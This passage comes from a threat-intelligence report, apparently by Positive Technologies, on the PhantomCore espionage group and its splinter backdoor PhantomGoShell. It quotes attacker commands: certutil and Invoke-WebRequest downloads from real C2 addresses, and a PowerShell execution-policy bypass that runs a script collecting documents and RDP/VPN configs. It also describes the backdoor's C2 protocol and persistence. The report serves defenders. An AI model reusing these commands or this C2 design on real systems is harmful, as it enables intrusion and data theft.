Downloading a configuration filecertutil.exe -urlcache -f "http://195.133.32.213:8000/wusa.conf" "C:\ProgramData\wusa.conf"
  • Using PhantomTaskShell, which receives commands from the Phantom control panel, download a sample of an unknown PowerShell script from the C2 server's port 80 and extract it (we could not obtain it during the research):
ProcedureCommand
Downloading the PowerShell scriptiwr -Uri "http://188.127.254.234:80/load.zip" -OutFile "C:\\ProgramData\\load.zip"
Extracting the PowerShell scriptexpand-archive -force -path C:\ProgramData\load.zip -destinationpath C:\ProgramData\
  • Using PhantomTaskShell, which receives commands from the Phantom control panel, run a PowerShell tool with the script execution disabled and options -r (recursive search) and -e (list of file extensions). Collect Microsoft Office and text documents, image files, LNK files, and configuration files for RDP and OpenVPN connections.
ProcedureCommand
Starting the PowerShell scriptpowershell -ex bypass C:\ProgramData\load.ps1 -Path C:\Users\ -r -e "pdf,xls,xlsx,doc,docx,txt,jpg,ovpn,rdp,lnk"
  • Deleting tools:
ProcedureCommand
Deleting toolsdel "C:\ProgramData\wusa.conf"
del "C:\ProgramData\srvhost.exe"
del "C:\ProgramData\load.ps1"
del "C:\ProgramData\load.zip"

Directories used to store tools:

C:\ProgramData\
C:\ProgramData\YandexCloud
C:\ProgramData\MicrosoftAppStore
C:\Windows\system32\OpenSSH


Tasks in the Windows Task Scheduler

Yandex Update
Microsoft Update
Update
SSH
DNS


Mimicking legitimate files in the tool names

ssh.exe
hosts.exe
inetpub.exe
srvhost.exe


Malicious files:

dnsclient.zip
dnsclient.bat
inetpub.zip
inetpub.exe
hosts.zip
hosts.exe
update.zip
update.ps1
remote.zip
remote.exe
remote.dll
load.zip
load.ps1
one.zip
one.exe
xenallpassword.exe
browser.zip
browser.exe
srvhost.exe
wusa.conf

Threat landscape

According to threat intelligence, at the time of publication PhantomCore had obtained access to 181 compromised hosts during its cyberespionage campaign. The first attack occurred on May 12, 2025, and activity peaked in June, with 56% of all infections occurring on June 30. On average, the group stayed in compromised networks for 24 days, with a maximum of 78 days. The group still control 49 hosts.

Before non-tolerable events occurred, the PT ESC's Threat Intelligence team identified and notified victims in the following categories about the incident:

  • Government agencies
  • Defense sector organizations
  • Shipbuilding companies
  • Research institutes
  • Chemical industry companies
  • Mining companies
  • Manufacturing companies
  • IT companies

All identified victims are Russian organizations.

Indicators of a split within the group

In mid-April of this year—two weeks before the start of the described campaign—the threat intelligence team discovered a previously unseen reverse shell resembling other tools in PhantomCore's 2024 arsenal.

The new backdoor, dubbed PhantomGoShell, is written in Go, executes commands on a compromised Windows host via the command line interpreter, and shows logic- and code-level similarities to PhantomRAT and PhantomRShell (see the next section for a detailed analysis).

However, several indicators suggested the backdoor was being operated by low-skilled hackers outside PhantomCore's core team who had obtained a raw test tool from its toolkit.

1.    Public sandboxes, errors, not typical persistence and impact

PhantomGoShell operators tested PhantomGoShell using a free account on a public sandbox service, allowing the threat intelligence team to observe the initial setup in real time, including commands and their results.

During the first testing phase of the backdoor, the PhantomGoShell operators struggled with the C2 configuration.

Command-entry and C2-availability errors
Command-entry and C2-availability errors

After fixing the C2 server configuration, they executed commands on the infected VM to start the calculator and list running processes and the file system directories.

Starting the calculator
Starting the calculator
Listing of running processes
Listing of running processes
Directory listing
Directory listing

The PhantomGoShell operators then tested persistence on the infected host by modifying Windows registry keys and silently downloading, installing, and starting the remote administration utilities Remote Desktop Connection and AnyDesk.

Persistence in the system by modifying a Windows registry key
Persistence in the system by modifying a Windows registry key
Starting RDP client
Starting RDP client
Installing and starting AnyDesk via PowerShell WebClient
Installing and starting AnyDesk via PowerShell WebClient
Installing and starting AnyDesk using curl
Installing and starting AnyDesk using curl

After confirming these persistence techniques worked, the PhantomGoShell testers checked whether it was possible to open a large number of audio/video tabs in the browser and assessed memory usage in Windows Task Manager.

Repeated opening of browser tabs
Repeated opening of browser tabs
Repeated opening of browser tabs
Repeated opening of browser tabs
Checking system load
Checking system load

Testing was performed only in the evening and nighttime hours (approximately 20:00–02:00 Moscow time) and involved repeatedly restarting public sandbox VMs with new backdoor samples.

2.    Network infrastructure: non-typical URLs and backend

All detected PhantomGoShell samples communicated with a Russia hosted C2 server running Waitress, a Python WSGI server.

C2 server fingerprint
C2 server fingerprint

Detected URL routes:    

  • /<prefix>/connect: establish a connection
  • /<prefix>/command: obtain a command to run on the host
  • /<prefix>/send_output: send command output

The <prefix> parameter is hardcoded in detected samples.

Detected server:

193.124.117.89


3.    PhantomGoShell: different procedures, reduced functionality

PhantomGoShell is a Go-based backdoor delivered as a PE file.

  • Persistence

Upon initial access, PhantomGoShell persists by self-replicating to the user's temporary directory:

C:\Users\<user>\AppData\Local\Temp


and by writing the path to the replicated executable to a Windows registry key while masquerading as the Discord messenger:

HKCU\CurrentVersion\Run\Discord
  • Discovery, Command and Control

Via WinAPI calls, PhantomGoShell obtains the hostname, generates a random 16-byte session ID and a session encryption key (key_encryption), and reads a hardcoded prefix.

Some PhantomGoShell samples do not call WinAPI functions for the hostname and instead use the hardcoded value "DESKTOP-DEV", indicating the tool is still in testing.

These parameters are serialized to JSON and sent to the C2 server:

POST /<prefix>/connect


The <prefix> parameter is hardcoded in detected samples.
 

120t9iITNhRIKaVyv54R1DQXRQJiTjHG
JSON object with data on the infected system
JSON object with data on the infected system
URL-building function
URL-building function
Sending JSON object via the /connect route
Sending JSON object via the /connect route

After the connection is established, commands and their outputs are exchanged between the C2 server and the infected host in encrypted form. The encryption key is the SHA-256 hash sum of the 16-byte session encryption key (key_encryption) generated during connection setup.

AES256_CBC_Decrypt(SHA256(key_encryption), command)

AES256_CBC_Encrypt(SHA256(key_encryption), command_result)


PhantomGoShell polls for commands to be executed on the infected hosts by sending requests containing the X-Machine-Id HTTP header with the previously generated 16-byte session ID every two seconds.
 

GET /<prefix>/command
X-Machine-Id: ID
Sending GET requests via the /command route
Sending GET requests via the /command route

The C2 server responds with JSON where the cmd field contains the command to execute on the infected host, encrypted and base64-encoded.

JSON object with encrypted command

The command is decoded and decrypted.

Server command decryption function
Server command decryption function

Decrypted command is executed on the infected host via the command interpreter:
 

cmd /c <расшифрованная команда>
Command execution function
Command execution function

The command output is encrypted, serialized to a JSON object with the output key, and sent with the 16-byte session ID in the X-Machine-Id HTTP header.
 

POST /<prefix>/send_output
X-Machine-Id: ID
JSON object with the command execution results
JSON object with the command execution results
Encrypted command output
Encrypted command output

Key characteristics:

  • Go executable
  • Single capability: execute commands via the command line interpreter
  • Hostname is the only host information collected
  • Implements persistence
  • No defense-evasion techniques
  • Random 16-byte encryption key
  • Encrypted information (AES-256-CBC)
  • Random 16-byte session ID
  • Session ID transmitted in an HTTP header
  • Hardcoded constant: prefix
  • Prefix used in URL
  • Hardcoded constant: hostname DESKTOP-DEV

4.    Takeaways

Despite some similarities between PhantomGoShell and the PhantomRShell and PhantomRAT backdoors, PT ESC Threat Intelligence analysts assess that different actors are developing and using these tools, even though they share a common technical foundation.

Distinctive traits of PhantomGoShell samples include:

  • Simpler functionality
  • Different persistence directories
  • Different Windows registry keys for persistence
  • Different JSON structures
  • Different URL route formats
  • Code artifacts indicating active development and testing
  • Use of HTTP headers to identify compromised hosts
  • Encrypted data in transit

At the infrastructure level, PhantomGoShell's infrastructure stands out for its minimal footprint (a single server) and for using Waitress, a Python WSGI server not observed on PhantomRShell/PhantomRAT C2 infrastructure.

Behavioral patterns, timing, and overall activity of PhantomGoShell also differ from PhantomRShell and PhantomRAT operators:

  • Testing the backdoor in public sandboxes from free accounts at night
  • Configuration issues with the sole C2 server that took several days to resolve
  • A short window between discovering PhantomGoShell and the first cyberattacks using the PhantomRShell and PhantomRAT backdoors, insufficient for refactoring or evolution of the tools
  • No evidence of PhantomGoShell being used in real attacks or appearing in the group's observed toolkit

Moreover, the threat intelligence team determined that the unusual PhantomGoShell activity traces to Russian-speaking members of gaming Discord communities, some verifiably minors in Russia with limited attack experience, who received the backdoor source code and guidance from a member with a more established cybercriminal background.

We assess this group is a splinter outside the core: low-skilled operators recruited from gaming and Discord communities, organized as a separate cybercriminal "startup" by a PhantomCore core member with access to custom tool source code.

Conclusion

PhantomCore activity has been tracked since early 2024. It targets only Russia's critical infrastructure and is motivated by cyberespionage. The group runs large-scale operations while maintaining strong stealth—remaining invisible in victim networks for extended periods—enabled by continual updates and evolution of in-house offensive tools.

Effective defense against such persistent, sophisticated cyberattacks requires comprehensive solutions that combine established detection expertise with current threat intelligence.

The Positive Technologies Expert Security Center expects PhantomCore to continue posing a high threat to Russian organizations. PT ESC's Threat Intelligence team continues to monitor the APT group's activity, promptly alerts victims to planned cyberattacks, and provides unique threat intelligence to users of Positive Technologies products.

Recommendations

To defend against PhantomCore's attacks, our recommendations are to:

  • Use licensed antivirus solutions with up-to-date, regularly refreshed signature databases.
  • Scan email attachments from untrusted or suspicious senders with antivirus tools. Be cautious if there's no prior correspondence; the sender isn't a known counterparty; the domain is unusual; or the message stresses urgency, especially while invoking government agencies, regulators, or supervisory bodies.
  • Do not open password-protected archives or embedded files without scanning them first.
  • Disable hiding of file extensions and verify actual extensions: don't open files whose icon doesn't match the real extension; don't open files with multiple dot-separated extensions at the end of the name.
  • Provide regular employee training and exercises on safe email use and resisting social engineering.

Indicators of compromise

File-based IoCs

Network IoCs

MITRE ATT&CK matrix

Positive Technologies product verdicts

PT Sandbox

YARA-правила

Behavioral verdicts

PT NAD and PT NGFW

Share link